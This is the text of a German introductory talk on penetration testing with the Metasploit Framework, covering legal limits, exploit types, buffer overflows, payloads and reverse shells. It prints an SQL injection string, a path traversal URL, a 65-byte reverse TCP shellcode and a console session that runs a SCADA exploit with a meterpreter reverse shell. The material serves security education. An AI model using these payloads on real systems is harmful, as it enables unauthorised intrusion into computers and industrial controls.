Pentests für Einsteiger – das Metasploit Framework und andere Tools, Mai 2020, Vortrag von Franz Wimmer (@zalintyre, Software Engineer at QAware)
== Dokument bitte herunterladen, falls unscharf! Please download slides if blurred! ==
5. IT-Security: Motivation
Keine Software ist ohne Fehler.
Ein Fehler an der falschen Stelle wird schnell zur
Sicherheitslücke.
Bedrohungslage ist unklar…
… und oft überhyped.
9. Offensive Security – Was ist das?
Grundsätzlich ist es der Name einer Firma, die Security-Zertifizierungen anbietet.
Es beschreibt aber auch ein gängiges Mindset™, die Sicherheit eigener Systeme durch einen aktiven Angriff
auszutesten.
Um Sicherheitslücken zu finden, versetzen wir uns in die Position eines Angreifers.
Das kann man entweder intern oder extern (durch einen dritten) durchführen lassen.
10. Aktiver Schutz: Penetrationstests
Ziele eines Penetrationstests sind (Quelle: Wikipedia):
die Identifikation von Schwachstellen
das Aufdecken potentieller Fehler, die sich aus der (fehlerhaften) Bedienung ergeben
die Erhöhung der Sicherheit auf technischer
und organisatorischer Ebene
die Bestätigung der IT-Sicherheit durch einen
externen Dritten.
=> Sicherheitslücken austesten, bevor es
jemand anderes macht!
Software-Tools (Beispiele):
dirb (Enumeration von Verzeichnissen)
KALI Linux
Metasploit (Exploits)
Nmap (Netzwerkscan)
11. § 202c StGB – Der „Hackerparagraph“
§202c des Strafgesetzbuchs stellt die Herstellung, den Vertrieb, Verkauf etc. von „Hacker-Tools“ unter Strafe.
Klarstellung des BVerfG: Einsatz für Penetrationstests erlaubt
Tipp: Schriftliche Erlaubnis des Auftraggebers einholen!
Dem Auftraggeber muss klar sein, dass der Test sein System zum Ausfall bringen kann.
NEU 18.01.2019 - Gesetzesantrag im Bundesrat:
§ 126a StGB: Anbieten von Leistungen zur Ermöglichung von Straftaten
[…]
Rechtswidrige Taten im Sinne des Satzes 1 sind
[…]
7. §§ 146, 147, 149, 152a, 152b, 184b Abs.1, 202a, 202b, 202c, 263a, 275, 276, 303a und 303b des
Strafgesetzbuches.
Quelle: https://www.bundesrat.de/SharedDocs/drucksachen/2019/0001-0100/33-19.pdf?__blob=publicationFile&v=1
13. Lokale Exploits
Ein Exploit ist Code, der unbeabsichtigt und unautorisiert auf einem fremden System ausgeführt wird.
Dadurch kann ein Angreifer Privilegien erlangen:
Dateien
Verbindungen
Rechte
Beispiele:
Infizierte Dateien
Besonders beliebt: *.pdf, *.jpg.exe
Buffer Overflows
Schwachstellen in lokal installierten Anwendungen
Dadurch erlangt man genau die Rechte, die die angegriffene Anwendung auf dem System hat.
14. Remote-Exploits
Klassische Schwachstellen bei Web-Anwendungen
Lokale Exploits, die man einem Server unterschieben kann
Denial of Service
Z.B. durch absichtlich falsche Passwörter
SQL Injection
'42;UPDATE USER SET TYPE="admin" WHERE ID=23;'
Directory Traversal
http://www.example.com/index.foo?item=../../../Config.sys
Command Execution
18. Wie landet der Exploit im Speicher?
Klassisches Beispiel: Ein Buffer Overflow
Dadurch können Teile des Stacks überschrieben werden.
Wenn man keine genauen Adressen kennt, wird der Speicher einfach mit
"NOP"s vollgeschrieben.
Diese führen irgendwann zu einem JMP zum Shellcode.
Einschränkungen:
Anwendungen filtern den Input, Shellcode muss evtl. alphanumerisch
codiert werden
Shellcode darf oftmals kein 0x00 enthalten (Null-Terminierte Strings)
Der Platz ist begrenzt, Kompression oft notwendig
Nicht jeder Exploit funktioniert über einen Buffer Overflow
… und nicht jeder Buffer Overflow macht einen Exploit möglich.
19. #####################################################
# #
# Dynamic null-free reverse TCP shell(65 bytes) #
# Written by Philippe Dugre #
# #
#####################################################
shellcode = b"x6ax29x58x99x6ax02x5fx6ax01x5e"
shellcode += b"x0fx05x97xb0x2ax48xb9xfexffxee"
shellcode += b"xa3x80xffxffxfex48xf7xd9x51x54"
shellcode += b"x5exb2x10x0fx05x6ax03x5exb0x21"
shellcode += b"xffxcex0fx05x75xf8x99xb0x3bx52"
shellcode += b"x48xb9x2fx62x69x6ex2fx2fx73x68"
shellcode += b"x51x54x5fx0fx05"
So sieht Shellcode in der Natur aus.
20. Payloads
Ein Exploit allein bringt nichts
Der Payload enthält Code, um die entdeckte Sicherheitslücke gewinnbringend zu nutzen
Beispiele:
Meterpreter
Reverse-Shell
VNC-Server
Payloads laufen mit den Rechten, die der Exploit ihnen verschafft
Das ist im besten Fall root
Man muss aber nicht unbedingt eine Shell auf das System bringen.
22. Überblick
Exploits und Payloads sind schwer zu schreiben
Die Umgebung für einen Exploit ist schwer einzurichten
Das MSF bündelt viele Exploits und Payloads.
Diese lassen sich (fast) beliebig kombinieren.
Das MSF schreibt Exploit-Entwicklern "Qualitätsstandards" vor.
Exploits und Payloads lassen sich mit wenigen Umgebungsvariablen konfigurieren.
Ausführungen:
Framework Edition: Basis
Community Edition: + Web-Oberfläche
Pro: + Social Engineering, Antivirus Evasion, uvm.
23. msf5 > search scada
Matching Modules
================
Name Disclosure Date Check Description
---- --------------- ----- -----------
exploit/windows/browser/teechart_pro 2011-08-11 No TeeChart Professional ActiveX
Control Trusted Integer Dereference
exploit/windows/fileformat/bacnet_csv 2010-09-16 No BACnet OPC Client Buffer Overflow
exploit/windows/fileformat/scadaphone_zip 2011-09-12 No ScadaTEC ScadaPhone Stack Buffer
Overflow
[ ... ]
msf5 > use windows/scada/scadapro_cmdexe
Exploits suchen
24. Payloads
Das MSF bietet viele verschiedene Payloads an (zur Zeit 562).
Beispiele:
Meterpreter
Windows MessageBox x64
windows/exec
osx/x64/exec
linux/x86/adduser
Exploits können (fast) beliebig mit Payloads kombiniert werden.
Befindet man sich im Kontext eines Exploits, zeigt show payloads nur passende Einträge an.
Mit dem MSF kann man auch infizierte Dateien generieren.
Z.B. ein PDF, das eine Lücke im Adobe Reader ausnutzt.
25. Payloads - Meterpreter
Eventuell ist auf dem Zielsystem keine (bekannte) Shell vorinstalliert.
Z.B. Bash, CMD, …
Meterpreter ist eine eigene vollwertige Shell…
… die auf nahezu jedem Zielsystem läuft.
Implementierungen:
C
PHP
Java
Python
…
Die große Kunst: Meterpreter auf das Zielsystem bringen.
Danach gehört der Rechner ganz dir!
26. Reverse Shells
Ein Payload öffnet im einfachsten Fall einen Port …
… zu wir uns verbinden können.
Firewalls können aber eingehende Verbindungen blockieren!
Deshalb verwenden wir eine Reverse Shell:
Wir öffnen lokal einen Port …
… zu dem sich das angegriffene System verbindet!
Im Zweifel: Einfach beide Varianten ausprobieren.
27. msf5 exploit(windows/scada/scadapro_cmdexe) > search payloads
Matching Modules
================
Name Rank Check Description
---- ---- ----- -----------
windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection)
windows/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection)
msf5 exploit(windows/scada/scadapro_cmdexe) > set PAYLOAD windows/meterpreter/reverse_tcp
Payloads suchen
28. Module options (exploit/windows/scada/scadapro_cmdexe):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 11234 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
URIPATH / yes The URI to use.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.17.0.2 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
msf5 exploit(windows/scada/scadapro_cmdexe) > set RHOSTS 10.0.0.5
msf5 exploit(windows/scada/scadapro_cmdexe) > run
Optionen konfigurieren
31. Fazit
Findet eure Sicherheitslücken, bevor es jemand anderes tut!
Das MSF ermöglicht es, ohne viel Vorwissen zu "hacken".
Die Exploits im MSF sind teilweise sehr alt. Wenn sich ein Produktivsystem damit hacken lässt, ist das eher
peinlich.
Das MSF ist aber bei weitem nicht das einzige Werkzeug für Pentests.
Vulnerability Scanner sind eine gute Ausgangsbasis. Ein Pentest kann aber andere Lücken aufdecken.